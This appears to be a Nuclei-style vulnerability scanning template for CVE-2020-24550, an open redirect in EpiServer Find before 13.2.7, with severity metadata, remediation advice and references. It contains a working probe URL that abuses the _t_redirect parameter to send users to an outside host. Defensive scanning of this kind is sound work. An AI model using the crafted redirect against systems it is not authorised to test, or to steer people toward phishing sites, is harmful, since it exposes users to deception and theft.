id: CVE-2020-24550

info:
  name: EpiServer Find <13.2.7 - Open Redirect
  author: dhiyaneshDK
  severity: medium
  description: EpiServer Find before 13.2.7 contains an open redirect vulnerability via the _t_redirect parameter in a crafted URL, such as a /find_v2/_click URL. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade to EpiServer Find version 13.2.7 or later to fix the open redirect vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2020-24550-open-redirect-in-episerver-find/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24550
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24550
    cwe-id: CWE-601
    epss-score: 0.65886
    epss-percentile: 0.98527
    cpe: cpe:2.3:a:episerver:find:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: episerver
    product: find
  tags: cve,cve2020,redirect,episerver,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/find_v2/_click?_t_id=&_t_q=&_t_hit.id=&_t_redirect=https://interact.sh'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: https://interact.sh"

      - type: status
        status:
          - 301
# digest: 4a0a00473045022100ab7128b3d87dd025ad457a77594f8a0a55515277dd27692c0a4082148c3cfaca02202e1b2b01a1fe4a5277daf68e0ed15b1289fdbf7a0944a3f9b219471752507f7a:922c64590222798bb761d5b6d8e72950